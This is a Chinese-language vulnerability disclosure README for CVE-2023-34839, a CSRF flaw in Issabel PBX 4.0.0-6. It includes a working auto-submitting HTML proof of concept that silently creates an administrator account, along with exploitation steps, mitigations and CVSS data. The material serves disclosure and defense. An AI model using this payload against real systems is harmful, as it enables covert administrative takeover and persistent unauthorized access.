CVE-2023-34839 是在 Issabel PBX 4.0.0-6 版本中发现的一个 跨站请求伪造 (CSRF) 漏洞。Issabel PBX 是一款广泛使用的开源统一通信平台。该漏洞存在于用户管理端点中,允许未经身份验证的远程攻击者通过诱使已认证的管理员访问特制网页,静默地创建一个新的管理员账户。
Issabel PBX 4.0.0-6 在 用户创建 端点未实施 CSRF 保护(如同步令牌、SameSite cookie 属性或 Origin/Referer 头部验证):
POST /index.php?menu=userlist&action=new
由于应用程序仅依赖会话 cookie 进行身份验证,并且不执行任何状态更改请求验证,因此来自任何来源的伪造 POST 请求都会被接受,并以登录管理员会话的全部权限进行处理。
根本原因: 管理端点上缺乏反 CSRF 令牌验证。
漏洞类型: CWE-352 — 跨站请求伪造 (CSRF)
| 软件 | 版本 | 状态 |
|---|---|---|
| Issabel PBX | 4.0.0-6 | 受影响 ✔ |
攻击者可以通过以下高层步骤利用此漏洞:
受害者只需访问一次页面,无需其他交互。
⚠️ 仅用于教育和授权测试目的。
将localhost替换为目标 Issabel PBX 实例的主机名或 IP 地址。
如果针对使用自签名证书的https://端点进行测试,必须先在相同浏览器中访问目标 URL 并接受证书警告;否则浏览器将阻止跨源表单提交。
<html>
<!-- CSRF 漏洞利用 — CVE-2023-34839 -->
<body>
<form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="description" value="CSRF 测试账户" />
<input type="hidden" name="password1" value="Test@123" />
<input type="hidden" name="password2" value="Test@123" />
<input type="hidden" name="group" value="1" /> <!-- 1 = 管理员 -->
<input type="hidden" name="extension" value="" />
<input type="hidden" name="webmailuser" value="" />
<input type="hidden" name="webmaildomain" value="" />
<input type="hidden" name="webmailpassword1" value="" />
<input type="hidden" name="id_user" value="" />
<input type="submit" value="提交请求" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
利用文件也在此仓库中提供:CSRF Exploit.html
导航到 Issabel PBX 网页界面,使用管理员凭据登录。

复制上面的 PoC HTML 代码,保存为 .html 文件,并将 localhost 替换为目标 Issabel 实例的实际主机名或 IP 地址。
该利用代码使用隐藏表单字段静默地向应用程序提交新的用户创建请求。页面加载时,嵌入的 JavaScript 会立即提交表单,无需任何可见的用户操作。

在管理员会话仍然活跃的同一个浏览器中(新标签页)打开保存的 HTML 文件。页面加载后,表单将自动提交。
导航回 Issabel PBX 的 用户管理 面板。将创建一个新的用户账户(在此 PoC 中名为 CSRF),并具有完全的 管理员 权限——除打开利用页面外无需任何额外交互。

成功利用 CVE-2023-34839 可使攻击者:
由于恶意账户在受害者会话结束后仍然存在,攻击者将无限期保留访问权限,直到该账户被发现并删除。
Issabel PBX 管理员和开发者应应用以下缓解措施:
实施反 CSRF 令牌: 为每个状态更改表单生成唯一的、不可预测的、与会话绑定的令牌。在处理任何 POST 请求之前,在服务器端验证令牌。
在会话 cookie 上应用 SameSite=Strict 或 SameSite=Lax: 这指示浏览器不在跨站请求中发送 cookie,从而在现代浏览器中有效防止经典的 CSRF 攻击。
验证 Origin 和 Referer 头部: 拒绝其 Origin 或 Referer 头部与预期应用程序域不匹配的请求。
对敏感操作要求重新认证: 在允许创建新的管理员级别账户之前,提示管理员输入当前密码。
应用最新的安全补丁: 关注 Issabel 发布页面 和 官方仓库,以获取解决此 CVE 的补丁。
本仓库 严格 用于 教育目的和授权安全研究。此处提供的信息和概念验证代码仅可用于您拥有或已获得明确书面许可进行测试的系统。未经授权将此漏洞利用于非您拥有的系统是 非法的,并可能导致刑事起诉。作者不对本仓库所含信息的任何滥用承担责任。
| 字段 | 值 |
|---|
| CVE ID | CVE-2023-34839 |
| 日期 | 2023年6月23日 |
| 研究人员 | Sahil Ojha |
| 厂商 | Issabel |
| 产品 | Issabel PBX |
| 版本 | 4.0.0-6 |
| 测试环境 | Windows |
| 指标 | 值 |
|---|
| CVSS v3.1 向量 | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| 基础评分 | 8.8(高危) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 需要(管理员访问) |
| 范围 | 未改变 |
| 机密性 | 高 |
| 完整性 | 高 |
| 可用性 | 高 |